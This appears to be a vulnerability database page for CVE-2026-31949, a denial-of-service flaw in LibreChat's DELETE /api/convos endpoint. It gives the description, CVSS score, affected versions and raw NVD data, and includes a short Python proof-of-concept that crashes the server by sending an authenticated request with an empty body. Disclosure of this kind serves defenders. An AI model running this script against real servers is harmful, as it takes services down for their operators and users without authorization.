Security Vulnerability Report
中文
CVE-2026-31949 CVSS 6.5 MEDIUM

CVE-2026-31949

Published: 2026-03-13 19:54:40
Last Modified: 2026-03-17 12:26:45

Description

LibreChat is a ChatGPT clone with additional features. Prior to 0.8.3-rc1, a Denial of Service (DoS) vulnerability exists in the DELETE /api/convos endpoint that allows an authenticated attacker to crash the Node.js server process by sending malformed requests. The DELETE /api/convos route handler attempts to destructure req.body.arg without validating that it exists. The server crashes due to an unhandled TypeError that bypasses Express error handling middleware and triggers process.exit(1). This vulnerability is fixed in 0.8.3-rc1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:librechat:librechat:*:*:*:*:*:*:*:* - VULNERABLE
LibreChat < 0.8.3-rc1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-31949 PoC - LibreChat DELETE /api/convos DoS # Target: LibreChat < 0.8.3-rc1 def exploit_cve_2026_31949(target_url, auth_token): """ Exploit for LibreChat DoS vulnerability in DELETE /api/convos endpoint """ url = f"{target_url}/api/convos" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Send malformed request without 'arg' property in body # This will trigger TypeError in route handler due to unsafe destructuring data = {} # Empty body - missing 'arg' property try: response = requests.delete(url, json=data, headers=headers) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 or response.status_code == 500 except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return False # Usage # target_url = "http://target-server:3000" # auth_token = "your-auth-token" # exploit_cve_2026_31949(target_url, auth_token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31949", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:39.753", "lastModified": "2026-03-17T12:26:45.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. Prior to 0.8.3-rc1, a Denial of Service (DoS) vulnerability exists in the DELETE /api/convos endpoint that allows an authenticated attacker to crash the Node.js server process by sending malformed requests. The DELETE /api/convos route handler attempts to destructure req.body.arg without validating that it exists. The server crashes due to an unhandled TypeError that bypasses Express error handling middleware and triggers process.exit(1). This vulnerability is fixed in 0.8.3-rc1."}, {"lang": "es", "value": "LibreChat es un clon de ChatGPT con características adicionales. Antes de la versión 0.8.3-rc1, existe una vulnerabilidad de denegación de servicio (DoS) en el endpoint DELETE /api/convos que permite a un atacante autenticado bloquear el proceso del servidor Node.js enviando solicitudes malformadas. El gestor de ruta DELETE /api/convos intenta desestructurar req.body.arg sin validar que exista. El servidor se bloquea debido a un TypeError no manejado que omite el middleware de manejo de errores de Express y activa process.exit(1). Esta vulnerabilidad está corregida en la versión 0.8.3-rc1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.3", "matchCriteriaId": "2D34833A-E49E-47F0-8C2E-0D55B6CF59BB"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-5m32-chq6-232p", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory", "Exploit"]}]}}